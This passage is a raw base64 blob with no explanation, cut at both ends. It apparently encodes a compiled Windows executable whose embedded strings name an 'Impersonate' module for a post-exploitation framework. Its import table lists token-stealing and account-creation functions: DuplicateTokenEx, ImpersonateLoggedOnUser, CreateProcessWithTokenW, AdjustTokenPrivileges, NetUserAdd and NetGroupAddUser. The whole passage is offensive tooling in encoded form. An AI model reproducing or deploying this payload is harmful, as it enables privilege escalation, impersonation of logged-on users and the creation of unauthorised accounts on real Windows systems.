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FN1YkF1dGhvcml0eUNvdW50APQCU2V0VG9rZW5JbmZvcm1hdGlvbgDBAlJldmVydFRvU2VsZgAAHwBBZGp1c3RUb2tlblByaXZpbGVnZXMArwFMb29rdXBQcml2aWxlZ2VWYWx1ZVcAQURWQVBJMzIuZGxsAADpAE5ldFVzZXJBZGQAAIkATmV0R3JvdXBBZGRVc2VyAE5FVEFQSTMyLmRsbAAA6wFOdFF1ZXJ5T2JqZWN0AG50ZGxsLmRsbADVBFJ0bENhcHR1cmVDb250ZXh0ANwEUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAA4wRSdGxWaXJ0dWFsVW53aW5kAADABVVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAfwVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAngVUZXJtaW5hdGVQcm9jZXNzAACMA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAUgRRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgAlAkdldEN1cnJlbnRUaHJlYWRJZAAA8wJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBvA0luaXRpYWxpemVTTGlzdEhlYWQAhQNJc0RlYnVnZ2VyUHJlc2VudADaAkdldFN0YXJ0dXBJbmZvVwDiBFJ0bFVud2luZEV4AEEFU2V0TGFzdEVycm9yAAA4AUVudGVyQ3JpdGljYWxTZWN0aW9uAADEA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAUAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgBrA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAsAVUbHNBbGxvYwAAsgVUbHNHZXRWYWx1ZQCzBVRsc1NldFZhbHVlALEFVGxzRnJlZQC0AUZyZWVMaWJyYXJ5AMoDTG9hZExpYnJhcnlFeFcAAGgEUmFpc2VFeGNlcHRpb24AAGcBRXhpdFByb2Nlc3MAgAJHZXRNb2R1bGVIYW5kbGVFeFcAANwCR2V0U3RkSGFuZGxlAAAlBldyaXRlRmlsZQB9AkdldE1vZHVsZUZpbGVOYW1lVwAA3wFHZXRDb21tYW5kTGluZUEA4AFHZXRDb21tYW5kTGluZVcAVQNIZWFwRnJlZQAAngBDb21wYXJlU3RyaW5nVwAAuANMQ01hcFN0c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AJAAQAAALQMAkABAAAAtAwCQAEAAAB/f39/f39/fwz5AUABAAAAuAwCQAEAAAC4DAJAAQAAALgMAkABAAAAuAwCQAEAAAC4DAJAAQAAALgMAkABAAAAuAwCQAEAAAAuAAAALgAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAgICAgIDAwMDAwMDAwAAAAAAAAAA/v////////8BAAAAAAAAAAEAAAB1mAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAAAGMQAAA41QEAcBAAAKoQAABE1QEAqhAAAGARAABY1QEAYBEAAFoZAABw1QEAWhkAAIIZAACU1QEAghkAABAdAACk1QEAEB0AABsdAADQ1QEAIB0AAIIdAADg1QEAkB0AAPIdAADg1QEAEB4AAC4eAADw1QEAMB4AAOYeAAD01QEA6B4AAPgeAAD81QEA+B4AABEfAAD81QEAFB8AAJAgAAAE1gEAkCAAAKIgAAD81QEApCAAANggAAD01QEA2CAAAKohAABE1gEArCEAAB0iAABM1gEAICIAAFkiAAD81QEAXCIAAKUiAAD01QEAqCIAADMjAAD01QEANCMAAMwjAABY1gEAzCMAAPAjAAD01QEA8CMAABkkAAD01QEAHCQAAFYkAAD01QEAWCQAAG8kAAD81QEAcCQAABwlAACA1gEAUCUAAGslAAD81QEAkCUAANsmAACM1gEA5CYAADUnAAD81QEASCcAAKMnAACc1gEApCcAAOAnAACc1gEA4CcAABwoAACc1gEAHCgAAMgpAACo1gEA4CkAANcrAADE1gEA2CsAAAAsAAD81QEAACwAABksAAD81QEAHCwAAIksAADg1gEAkCwAAKIsAAD81QEApCwAALYsAAD81QEA0CwAAOAsAAAQ1wEA8CwAAHgwAAAc1wEAkDAAAKgwAAAg1wEAsDAAALEwAAAk1wEAwDAAAMEwAAAo1wEA/DAAABsxAAD81QEAHDEAADUxAAD81QEAODEAAPcxAAAs1wEA+DEAAD8yAAD81QEAQDIAAGIyAAD81QEAZDIAAKoyAAD01QEArDIAAOMyAAD01QEA5DIAADI0AAA81wEANDQAAHk0AAD01QEAfDQAAMI0AAD01QEAxDQAAAo1AAD01QEADDUAAF01AACc1gEAYDUAAME1AAAs1wEA4DUAAPA1AABY1wEAADYAAHU8AABk1wEAkDwAANA8AABo1wEA4DwAAAo9AABw1wEAED0AADY9AAB41wEAQD0AAIc9AACA1wEAiD0AAMA9AAC01wEAwD0AAIE+AACU1wEAkD4AAEw/AACI1wEATD8AAJY/AAD01QEAmD8AAPM/AAD01QEAKEAAAGRAAAD81QEAeEAAAJdBAADY1wEArEEAAAdCAAD01QEAIEIAACJFAAAM2AEAJEUAAMlLAAAo2AEAzEsAAGdMAAAs1wEAaEwAAN5MAADw1wEA4EwAAAlNAAAE2AEAFE0AAHlNAAD01QEAfE0AALlNAABs2QEAvE0AAI5PAAAg2QEAkE8AADZQAADw1wEAOFAAAOFQAADw1wEAJFEAAKtRAABk2QEArFEAAE9SAABk2QEAUFIAAN1SAABk2QEA4FIAAIRTAABk2QEAhFMAAA9UAABM2QEAEFQ